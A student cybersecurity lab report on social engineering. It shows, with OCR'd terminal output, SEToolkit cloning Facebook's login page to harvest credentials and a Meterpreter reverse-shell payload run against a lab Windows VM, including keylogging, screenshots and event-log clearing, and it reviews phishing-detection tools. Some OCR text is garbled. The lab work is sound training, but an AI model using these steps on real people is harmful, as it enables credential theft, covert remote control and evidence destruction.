Social Engineering

Lab Submission Requirments: 
· Observations on Site cloner
· Demonstrate enticing link.
· Demonstration of alternate attack 
· Observations on external victim
· Document D1 & D2

Tools:
· SEToolkit
· NetCraft Toolbar
· PhishTank

Task 1: Use SET to harvest credentials from social websites

What is Spear-Phishing Attack? What are their vectors?

Spear-phishing is a targeted form of cyber-attack where attackers customize deceptive tactics for specific individuals. It involves personalization, extensive research, and often impersonates trusted entities via emails, social engineering, or phone calls. Vectors include. 
 
· phishing emails
· social media exploits
· business email compromise
 
Prevention measures include employee training, email security solutions, multi-factor authentication, security awareness programs, and regular security audits to reduce the risk of falling victim to these highly focused threats.

What are the other Social Engineering Attacks found in SEToolkit? Try to simulate one of the attacks (not listed in the activity) and document the outcome.

SEToolkit has a wide range of differing attack vectors to choose from outlined as follows: 
· Spear phishing
· Infectious media generator
· Create a payload and listener.
· Mass mailer
· QRCode generator attack
· Wireless access point attack
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Link clicked.
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What would you do to target a victim outside your network? By giving this private IP address of the attacker, will you receive the harvested information if your target is outside your local network? 

No, as the target is outside of the local network the private IP Address will not resolve. To attack a target outside of the network the fake page could be hosted via a webserver and the link to the hosted page presented instead. Alternatively, you could use devices like USB drives with a file pre-uploaded with the intention someone inserts and clicks.

Observations on Site Cloner

From utilising site cloner during the lab exercises its apparent how powerful a tool this could be in the wrong hands. Being able to clone sophisticated websites with the input of a key could have serious implications if used incorrectly, not only just phishing sites but spreading malicious code, viruses etc. Too an uninitiated user, these sites are almost indistinguishable to the real thing. 
It really seeks to emphasise the need for tools such as Netcraft toolbar and similar browser extensions to give you peace of mind when operating on the internet. 
Overall, the experience has highlighted the ease at which attacks can be launched with even that most minimal knowledge. 
Attack Vector demonstration

For the demonstration of an attack, I have chosen to use the payload and listener attack vector . The demonstration will consist of screenshots outlining the process:

Attack vector and payload selection:
[image: A screenshot of a computer

Description automatically generated]
Payload configuration
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Listener execution
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Payload on target
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Host exploited – Running commands.
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Keylogging
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Task 2: Netcraft Toolbar

In Windows Server 2019, Open your installed browser. Download and Install 
Netcraft Toolbar for your browser.
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Try to visit any website that is identified as a phishing site. Did Netcraft Toolbar react to that? How did Netcraft toolbar respond to the phishing site? What action did you take? 

I found Netcraft too be quite unreliable in its application. I targeted several known phishing sites but did not get alerted. Utilised the link provided in the lab but again did not alert. I think this may have been a consequence of an outdated browser. Therefore, the extension not operating to full effectivness. 

Referring to our previous task, did you check the link you generated to harvest the credentials using Netcraft toolbar? What is the outcome?

Yes, there was no information provided. It didn’t get picked up as a phishing site nor did it warn me. Likely due to the community driven nature of the project and the fact the site is not reported. 

How would Netcraft Toolbar help general user to protect themselves from Social Engineering Attacks? 

Netcraft toolbar seems like a useful tool for spotting well known phishing sites and serves some utility to the average user in that it gives piece of mind. Site ratings can be checked, and overall malicious levels accounted for. However, I do see some draw backs in how it operates. 
 
Being community driven it relies heavily on sites being reported. As will be demonsrated by the sites I visited when I hit my credential harvester page it did not alert to any danger. Similarly, I found a 7/10 site that also did not get blocked as likely it’s too obscure to be reported. 

Where it does shine is blocking well reporting phishing sites. In my experience I found the sites were instantly blocked when trying to navigate to them providing a layer of security. 

In conclusion, I sense Netcraft toolbar would have been better served in an internet era of the past. Where technology was rapidly evolving. Now with browser tech what it is, a lot of the unknown entities are already being blocked. 

Overall, a useful tool as part of a larger set of tools that can contribute to overall security.

Websites visited testing Netcraft site report. 
 
Reddit – www.reddit.com
 
Risk Rating of the website: 
0/10
  
Relevant details about the website: 
· Domain: Reddit.com
· Netblock Owner: Fastly inc
· Ip address: 199.232.25.140
· Web trackers: Apple / Reddit
· SSL cert issues: DigiCert
 
Agora Road's Macintosh Café  - https://forum.agoraroad.com/index.php
 
Risk Rating of the website: 1/10 
  
Relevant details about the website: 
· Domain: agoraroad.com
· Netblock Owner: Cloudflare, Inc.
· Ip address: 172.67.214.60
· Web trackers: GitHub, admob, google AdSense, google analytics
· SSL cert issues: Cloudflare
 
10.0.2.88  - 
 
Risk Rating of the website: N/A

Relevant details about the website: 
· Domain: 10.0.2.88
· Netblock Owner: 
· Ip address: 10.0.2.88
· Web trackers: 
· SSL cert issues: 
 
Unknown  - https://initialland.azurewebsites.net
 
Risk Rating of the website: 7/10
  
Relevant details about the website: 
· Domain: azurewebsites.net
· Netblock Owner: Microsoft Data Centre
· Ip address: 40.71.11.169
· SSL cert issues: Azure

Task 3: Using PhishTank

Outcome of known phishing link provided.
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Review known phishing sites with site report.

http://ssss.fpfv4515.odns.fr
 
Risk Rating of the website: 7/10
 
Site-title: 52.16.137.212 29.12.2023 22:36:40
 
Relevant details about the website: 
· Rank: none
· Description: None
· Domain: odns.fr
· Netblock Owner: PROSPERO OOO
· Country: Russia
· Organisation: O2SWITCH, Chemin des Pardiaux, 63000 CLERMONT FERRAND, FR
· Ip address: 91.215.85.245
· SSL cert issues: None
· Web Server - Nginx 
· OS - Linux
 
IP delegation
IPv4 address (91.215.85.245)
IP range        Country        Name        Description
::ffff:0.0.0.0/96         United States        IANA-IPV4-MAPPED-ADDRESS        Internet Assigned Numbers Authority
 ↳ 91.0.0.0-91.255.255.255         Netherlands        91-RIPE        RIPE Network Coordination Centre
  ↳ 91.215.85.0-91.215.85.255         Russian Federation        RU-PROSPERO        PROSPERO OOO
   ↳ 91.215.85.245         Russian Federation        RU-PROSPERO        PROSPERO OOO

https://fincapitales.com
 
Risk Rating of the website: 1/10
 
Site-title: Financiera de Capitales | Crédito Sin Fiador y Sin Buró Fácil, Rápido y Seguro 0.5% Mes | Desde Q.25,000 | De 1 a 15 años
 
Relevant details about the website: 
 
· Website imitates a bank
· Rank: none
· Description: None
· Domain: fincapitales.com
· Netblock Owner: Input Output Flood
· Country: US
· Organisation: Unknown
· Ip address: 91.215.85.245
· SSL cert issues: R3
· Web Server - Unknown
· OS - Linux


https://csfellon.ru
 
Risk Rating of the website: 10/10
 
Site Title: CSFellon: Мастер Обмена Скинами CS:GO – Обновляйте Свой Инвентарь с Намиk
 
Relevant details about the website: 
 
· Rank: none
· Description: Обновите свой инвентарь в Counter-Strike: Global Offensive с нашим удобным сервисом
· Domain: csfellon.ru
· Netblock Owner: Cloudflare
· Country: US
· Organisation: Unknown
· Ip address: 104.21.66.117
· SSL: Google
· Web Server - cloudflare
· OS - Linux
· Trackers: Yandex, google

http://revokemytokens.com
 
Risk Rating of the website: 10/10
 
Site Title: Revoke Your Token Approvals on Over 40 Network
 
Relevant details about the website: 
  
· Rank: none
· Description: None
· Domain: http://revokemytokens.com
· Netblock Owner: Cloudflare
· Country: US
· Organisation: Unknown
· Ip address: 172.67.212.214
· Web Server - cloudflare
· OS - Linux


Alternate Tool

Original tool: Netcraft Toolbar
Alternate tool: Web of Trust

What is Web of Trust?

Web of Trust (WOT) is a browser extension and online service designed to provide users with information about the trustworthiness and safety of websites [1]. Operating as a community-driven platform, WOT assigns reputation ratings to websites based on user feedback and automated analysis of security indicators [2]. Users can see these ratings in search engine results and while browsing, helping them make informed decisions about visiting or interacting with websites. WOT aims to protect users from malicious content, scams, and unreliable sources on the internet by leveraging the collective wisdom of its user community to identify and flag potentially harmful websites [2].

Demonstration
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Comparison

At first glance the tools are very similar, both provide a browser plugin that you can interact with while searching the web. Information is presented in a pop-up, and both provide adequate overview of the site’s security status. Where the major difference can be discerned is within the addition of Netcraft Site Report. 

Site report provides an extensive overview of the target’s website information including such areas as SSL certs, Location, DNS etc 

Furthermore, an additional difference is the GUI, Netcraft is outdated where WOT focuses on providing an up-to-date UI which lends better to the average user. 

Conclusion

Overall, they are both useful in their utility and likely serve different types of users. NetCraft, in my opinion is more suited to the professional user seeking to gain information that the average user has little or no interest in. Whereas WOT is more suited to the average web browsing user who is interested in understanding whether a page is good or bad at a very minimal level. 
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10.0.2.7 - - [29/Dec/2023 18:14:48] "POST / HTTP/1.1" 302 -

[+ (WE_GOT @ HIT! Printing theloutput:

PARAM: browser-fp-data={"language” : "en-US", "colorDepth” :24, "deviceMemory” : "unknown" , "pix
elRatio”:1,"hardwareConcurrency” :2, "timezone0ffset" 0, "timezone" : "Europe/London” , "sessio
nstorage”:1, "localStorage” 1, "indexedDb” i1, "cpuClass” : "unknown” , "platforn” : "Win32", "doNo
tTrack”: "unknown" , "plugins "hash” : "2c14024bF8584c3F763F24ealo0es12" }, "canva
5":"canvasswinding:yes~canvas”, "webgl” :1, "webglVendorAndRenderer” : "Google+Inc. +(Google)~
ANGLE+(Google, +Vulkan+1.3.0+(SwiftShader+Device+(Subzero)+(0x0000CODE) ), +SwiftShader +dri
ver)", "adBlock” :0, "hasLiedLanguages”:0, "hasLiedResolution” :0, "hasLied0s" :0, "hasLiedBrows
er”:0, "touchsupport”:{”points”:0, "event”:0, "start":0}, "fonts" :{"count":33, "hash" : "edeefd
360161b4bf944ac045e41d0b21" } :"124.04347527516074" , "resolution” :{"w":"1460","h" :
1320"}, "availableResolution” 1272","h":"1460"}, "ts" :{"serve" 1703873658312, "render
1703873669346} }

PARAM: Crumb-whq030w/BX iMPSWPZEFLTE

PARAM: acrun
PARAM: sessionIndex=QQ—
PARAM: displayNam
PARAM: deviceCapability={"pa”:{"status
POSSIBLE USERNAME FIELD FOUND: usernam
POSSIBLE PASSWORD FIELD FOUND: passwd=
PARAM: signin=Next

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

alse}}
avidazol . con

2.7 - - [29/Dec/2023 18:14:55] "POST / HTTP/1.1" 302 -
.7 - - [29/Dec/2023 18:15:12] "GET / HTTP/1.1" 200 -
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10) Third Party Modules

99) Return back to the main menu.

set> &

1) Windows Shell Reverse_TCP
to attacker

2) Windows Reverse TCP Meterpreter
back to attacker

3) Windows Reverse_TCP VNC DLL
attacker

4) Windows Shell Reverse TCP X64

5) Windows Meterpreter Reverse_TCP X64
eterpreter

6) Windows Meterpreter Egress Buster
e via multiple ports

7) Windows Meterpreter Reverse HTTPS
use Meterpreter

8) Windows Meterpreter Reverse DNS
se Reverse Meterpreter

9) Download/Run your Own Executable

set:payloads>2

Davloads> IP address for the payload Listener (LHOST):
payloads> Enter the PORT for the reverse listener:1234

Spawn a command shell on victim and send back
Spawn a meterpreter shell on victim and send
Spawn a VNC server on victin and send back to

Windows X64 Command Shell, Reverse TCP Inline
Connect back to the attacker (Windows x64), M

Spawn a meterpreter shell and find a port hom
Tunnel communication over HTTP using SSL and
Use a hostname instead of an IP address and u

Downloads an executable and runs it

[+] Generating the payload.. please be patient.
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(3] root@kali: | (%
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set:payloads> IP address for the payload listener (LHOST):10.0.2.88
Set:payloads> Enter the PORT for the reverse listener:1234
[+] Generating the payload.. please be patient

[*] Payload has been exported to the default SET directory located under: /root/.set/payloa
d.exe

set:payloads> Do you want to start the payload and listener now? (yes/no):y
[+] Launching msfconsole, this could take a few to load. Be patient ...
Metasploit tip: Open an interactive Ruby terminal with irb

## o ##
https://metasploit.com
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metasploit v6.3.43-dev

2376 exploits - 1232 auxiliary - 416 post
1391 payloads - 46 encoders - 11 nops

9 evasion

Metasploit Documentation: https://docs.metasploit.con/

[] Processing /root/.set/meta_config for ERB directives

resource (/root/.set/meta_config)> use multi/handler

[+] Using configured payload generic/shell_reverse_tcp

resource (/root/.set/meta_config)> set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 10
LHOST = 10.0.2.88

resource (/root/.set/meta_config)> set LPORT 1234

LPORT = 1234

resource (/root/.set/meta_config)> set ExitOnsession false
Exitonsession = false

resource (/root/.set/meta_config)> exploit -j

[+] Exploit running as background job 0

[+] Exploit completed, but no session was created

[*] started reverse TCP handler on 10.0.2.88:1234

msfe exploit(oui i handior) >

2.88
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'~ Unknown command: ipconfig
msf6 exploit(ii i noiiion) >

[+] Sending stage (175686 bytes) to 10.0.2.7

[+] Meterpreter session 13 opened (10.0.2.88:1234 —> 10.0.2.7:51172) at 2023-12-29 19:29:53

sessions -i 2
[*] Starting interaction with 2.

meterpreter > getuid
Server username: WIN-11-VICTIM\admin

neterpreter > I
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meterpreter > ipconfig

Interface 1

Name Software Loopback Interface 1
Hardware MAC : 0 0

o 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0
1pv6 Address
1Pv6 Netmask

FEFFFEFEFFFF:FFFF:FFEF:FRFFIFFFFIFFFF

Interface 5

Name Intel(R) PRO/1000 MT Desktop Adapter
Harduare MAC 9
1Y

1Py Address
1PV Netmask
1pv6 Address :
1Pv6 Netmask :

10.0.2.7
255.255.255.0
£e80 :: 5236: 1d8c: ed8c: hect
FEF

neterpreter > If
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meterpreter > screenshot
Screenshot saved to: /usr/share/set/EuiyjLEt.jpeg
meterpreter > |
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Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes ...
<shift>testing<CR>

theck>

enbuis< H><"H>s55<"H><CR>
sniffer<cR>

<cR>

neterpreter > If
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eterpreter > keyscan_stop
topping the keystroke sniffer..
eterpreter > route

Pv4 network routes

Subnet Netmask Gateway  Metric Interface

0.0.0.0 0.0.0.0 10.0.2.2 281 5

10.0.2.0 255.255.255.0  10.0.2.7 281 5

10.0.2.7 255.255.255.255 10.0.2.7 281 5

10.0.2.255 255.255.255.255 10.0.2.7 281 5

127.0.0.0 255.0.0.0 127.0.0.1 331 1

127.0.0.1 255.255.255.255 127.0.0.1 331 1

127.255.255.255 255.255.255.255 127.0.0.1 331 1

224.0.0.0 240.0.0.0 127.0.0.1 331 1

224.0.0.0 240.0.0.0 10.0.2.7 281 5

255.255.255.255 255.255.255.255 127.0.0.1 331 1

255.255.255.255 255.255.255.255 10.0.2.7 281 5

PV6 network routes

Subnet Netmask Gateway Metric Interface
FEFFLFFFFFEFF:FFFFFFFFFFFF: 331 1
FEFFLFFFF

fe80:: FEFFLFFFFFEFF:FFFFFFFFFFFF: 331 5

fe80::5236: 1d8c:edBc:bect FFFF:FFFF:FFFFFFFF:FFFFIFFFF: 3 s
FEFFLFFFF

££00 ££00 331 1

££00 £f00 3 s

cterpreter > Il
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meterpreter > clearev
[+] Wiping 1661 records from Application ...

| stdapi_sys_eventlog_clear: Operation failed: Access is denied.
neterpreter > (]
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@kali: lhome/kali

File Actions Edit View Help

—1 Follow me on Twitter: @Hackingbave —1
—1 Homepage: https://wm . trustedsec.com —1
Welcome to the Social-Engineer Toolkit (SET).

The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of Trustedsec.
Visit: https://wm.trustedsec.com

It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!

select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) Third Party Modules

99) Return back to the main menu.
set> 2
The Web Attack module is a unique way of utilizing multiple web-based attacks in orde

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit
eated by Thomas Werth to deliver the payload.
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99) Return to Main Menu
set:webattack>3

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates
2) site Cloner
3) custom Inport

99) Return to Webattack Menu

set:webattack>2
Credential harvester will allow you to utilize the clone capabilities within SET

-1
[-] to harvest credentials or parameters from a website as well as place them into a

— * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * —

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important :
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twebattack> IP address for the POST back in Harvester/Tabnabbing [10.0.2.88]

SET supports both HTTP and HTTPS
Example: http://wm.thisisafakesite.com

suebattack> Enter the url to clone: https://wmi.facebook.com

Cloning the website: https://login.facebook.con/login.php
This could take a little bit...

best way to use this attack is if username and password form fields are availabl

The Social-Engineer Toolkit Credential Harvester Attack
Credential Harvester is running on port 80
Information will be displayed to you as it arrives below:
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